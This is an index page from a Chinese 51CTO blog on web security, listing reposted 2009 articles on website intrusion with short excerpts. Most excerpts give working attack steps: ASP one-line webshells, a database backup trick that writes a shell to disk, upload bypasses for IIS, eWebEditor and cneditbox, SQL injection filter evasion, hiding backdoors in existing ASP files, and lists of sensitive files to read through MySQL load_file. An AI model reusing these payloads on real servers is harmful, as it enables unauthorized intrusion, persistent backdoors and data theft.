北北_的博客_web安全

DB备份SHELL改进2点

减少备份文件大小，得到可执行的webshell成功率提高不少一利用差异备份加一个参数WITH DIFFERENTIALdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@screate table

职场

shell

休闲

转载精选 2009-10-03 19:56:43 441 阅读

mssql注入躲避IDS

1．关于openrowset和opendatasource 　　可能这个技巧早有人已经会了，就是利用openrowset发送本地命令。通常我们的用法是（包括MSDN的列子）如下： select * from openrowset('sqloledb','myserver';'sa';'','select * from table') 　　可见（即使从字面意义上看)openrowset只是作为一个快

职场

数据库

休闲

转载精选 2009-10-03 19:55:46 302 阅读

突破Windows 2003 200k限制的上传程序

http://www.pcsec.org/archives/upload-file-bypass-200k-limit.html有的时候，我们需要上传大东西，但是由于W2K3默认上传限制为200KB。这个时候，不得不分包，依次上传，那个累呀！有人问为什么不用Microsoft.XMLHTTP和Adodb.Stream组件，直接从服务器上下载呢【要是不能访问网络呢？你会怎么做？】于是有了

职场

休闲

转载精选 2009-09-26 16:44:40 294 阅读

Fckeditor 2.4.2 php任意上传文件漏洞

职场

休闲

转载精选 2009-09-24 15:19:00 2238 阅读

asp拿shell

飞鸟游鱼原创 1.有备份，上传图片备份。如不能修改文件后缀名，可备份成1.asp/1.mdb或1.asa/1.mdb的形式 2.写入配置文件一句话木马，如果过滤了,(,)可尝试<%eval request("value")%>来突破，例如 config.asp

职场

shell

休闲

转载精选 2009-09-24 02:19:02 2141 阅读 1点赞

渗透ASP.net网站的经验

转载16kc 1、对一般遇到.net的网站时通常会注册个用户第一选择利用上传判断的漏洞加图片头GIF89A 顺利饶过 2、第二种就是注入了, 在?id=xx后加单引号 " ' " 一般情况下用NBSI 啊D来SCAN 都可以发现BUG页面而且国内大多.net都是使用MSSQL数据库发现注入点也可以从login下手其实这个方法目前的成功率在75%

职场

网站

ASP.net

休闲

转载 2009-09-22 01:38:54 1507 阅读

php版ewebeditor 3.8的漏洞

php版本后台是调用../ewebeditor/admin/config.php,大家去看下源码就知道，在这里我说说利用方法: 1 首先当然要找到登陆后台,默认是../eWebEditor/admin/login.php,进入后台后随便输入一个用户和密码,当然会提示出错了,必须是出错的时候，然后这时候你清空浏览器的url,然后输入 javascript:alert(document.

php

职场

漏洞

ewebeditor

休闲

转载精选 2009-09-22 01:38:23 1252 阅读

应对eWebEditor漏洞上传文件500错误的方法

来源：van 相信大家对eWeb并不陌生大家在搞站的可否发现有的uploadfiles目录里面传上去的大马或小马是500错误入侵了这么久,发现在此情况下,上传一句话,可以连接! eval的一句话有时候会失败 execute的一句话基本上都是成功的! By:van 附:(多种写一句话的方法) ASP一句话 1.<%eval request("Y

职场

休闲

转载精选 2009-09-21 00:03:58 498 阅读

ISA Server、IIS多方并举保护网站的安全

http://wangchunhai.blog.51cto.com/225186/200122

职场

休闲

转载精选 2009-09-17 15:16:45 220 阅读

万能的动易后台查找方法

pop：这个方法很巧，但也不是全部都行，因为有些的已经修改admin_login.asp的名称，针对修改路径是很有效的，也可以说是利用了管理员对css的疏忽漏洞文件： region.asp 1、打开某动易核心的网站，在域名后加region.asp访问，如http://www.xxxx.gov.cn/region.asp 便会显示下面的内容：国家/地区：省/市/自治区：市/县/区/旗： 2、

职场

后台

休闲

动易

转载精选 2009-09-11 23:40:07 564 阅读

IIS 解析0Day

当上传图片为x.asp;x.jpg时，IIS会自动解析为asp格式，所以我们只要上传后是x.asp;x.jpg这样的形式，就可以执行我们的马了，测试了下，x.php;x.jpg也是可以执行的。

职场

IIS

休闲

0Day

转载精选 2009-09-06 17:46:50 354 阅读 1评论

xss的部分利用技术

http://hi.baidu.com/cnryan/blog/item/0573e0d1b9041eda562c8414.htmlhttp://forum.eviloctal.com/viewthread.php?tid=38554文章作者：cnryan 信息来源：邪恶八进制信息安全团队（www.eviloctal.com）注：本文首发cnryan blog，后由原创作者友情提交到邪恶

职场

xss

休闲

转载精选 2009-09-05 15:17:15 487 阅读

绕过防注入的11招

1、运用编码技术绕过如URLEncode编码，ASCII编码绕过。例如or 1=1即%6f%72%20%31%3d%31，而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 2、通过空格绕过如两个空格代替一个空格，用Tab代替空格等，或者删除所有空格，如 or' swords' =‘swords'，由于ms

职场

休闲

转载精选 2009-09-03 14:20:58 300 阅读

cneditbox

访问/admin/uploadPic.asp?actiontype=mod&picname=ad.asp把木马取名ad.jpg上传完访问/uppic/ad.asp

职场

休闲

转载精选 2009-08-29 13:26:49 305 阅读

XSS教学视频，pdf文档和xss shell下载地址。

Tr4c3注： XSS教学视频，pdf文档和xss shell下载地址。XSS Shell is a cross-site scripting backdoor into the victim’s browser which enables an attacker to issue commands and receive responses. During a normal XSS att

职场

shell

XSS

休闲

转载精选 2009-08-25 16:53:15 1872 阅读 1点赞 1评论

How to attack a windows domain

http://baoz.net/how-to-attack-a-windows-domain/今天在幻影的邮件列表里看到有人说到how to attack a windows domain这个文章，google了一把看了下，这东西也太强了，我有点不相信自己的眼睛，文末的三个文章应该描述到了他的原理，建议搞渗透的同学仔细研究下。

职场

休闲

转载精选 2009-08-23 17:36:27 313 阅读

总结ASP数据库语法

经常使用到有关数据库的*作。包括连接代码、SQL命令等等，又不曾刻意去记忆它们（我不想去记这东东），所以常常在用到的时候又去查书本，翻来翻去。哦而还不一定能顺利找到，所以现在把它们全归纳到这里，提供大家参考 <一>。数据库的连接方法： 1.Access数据库的DSN-less连接方法: set adocon=Server.Createobject("adod

职场

休闲

ASP,数据库

转载精选 2009-08-22 23:26:30 494 阅读

三种隐藏Webshell的方法

第一种: 在我们要做手脚的asp文件里加入如下内容 <%if request("action")="ok" then%> shell代码插在这里 <%end if%> 访问的时候在你作手脚的asp文件后面加上?action=ok,即可第二种: 在我们要做手脚的asp文件里加入如下内容 <% on error resume next strFi

职场

Webshell

休闲

后门

转载精选 2009-08-21 21:19:14 680 阅读

Jsp File Browser

http://www.vonloesch.de/jspbrowser.html

职场

webshell

休闲

转载精选 2009-08-18 00:37:28 364 阅读

INTO OUTFILE (Mysql) paper

http://www.milw0rm.com/papers/372o00000000000000000000000000000000000000000000000000000o [!] Paper about:8 .o8 8 INTO OUTFILE (Mysql)8

职场

Mysql

数据库

休闲

转载精选 2009-08-14 13:11:38 500 阅读

从php+mysql环境的注入，到整台服务器的沦陷

这里重点感谢一下JJ童鞋，我与该童鞋相识好几年了，不过从未见过面，但是却很投缘啊（哈哈，我不是gay），发现很多时候一起做事很有默契，我也是好久没碰php了，完全忘记怎么玩了，今天拉他来一起搞了一下，实践证明，合作的力量是伟大滴，成功拿下整台服务器权限，于是便有了本文，由于我写完之后要整理一下写到报告里面，所以会写的详细一些，大牛们请飘过。。。（废话多了点儿，谁拿砖头砸我？！）现在开始：注

php

mysql

服务器

数据库

环境

原创推荐 2009-08-11 15:00:21 2320 阅读 10评论

load_file经常读的一些敏感文件

MYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件，如： /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件 /usr/local/apache2/conf/httpd.conf /usr/local/app/apache2/conf/extra/httpd-v

职场

休闲

load_file

转载精选 2009-08-10 19:46:45 3610 阅读

关于上传漏洞以及NC提交

我们可以利用的存在上传漏洞要求：上传文件路径可自己定义，或者文件名可定义。上传文件路径可自己定义：也就是为什么我们在抓包改包的时候要将保存上传文件的路径改为pic/123.asp空格，然后将之前上传没成功的123.asp文件名改为123.jpg，然后再用UltraEdit-32将空格改为00（具体过程请自行Google）。我们之前改过的包，上传路径变为了pic/123.asp空格/123.jpg（

职场

休闲

nc,webshell

原创 2009-08-09 01:29:39 1241 阅读

Cookies注入详解与指令

什么是Cookies？Cookies是数据包，可以让网页具有记忆功能，在某台电脑上记忆一定的信息。Cookies的工作原理是，第一次由服务器端写入到客户端的系统中。以后每次访问这个网页，都是先由客户端将Cookies发送到服务器端，再由服务器端进行判断，然后再产生HTML代码返回给客户端，这是一个很重要的原理。关于服务器端和客户端的概念，请点击我写的这篇：什么是服务器端和客户端，举了2个实

职场

休闲

Cookies注入

转载精选 2009-07-30 15:17:26 260 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

_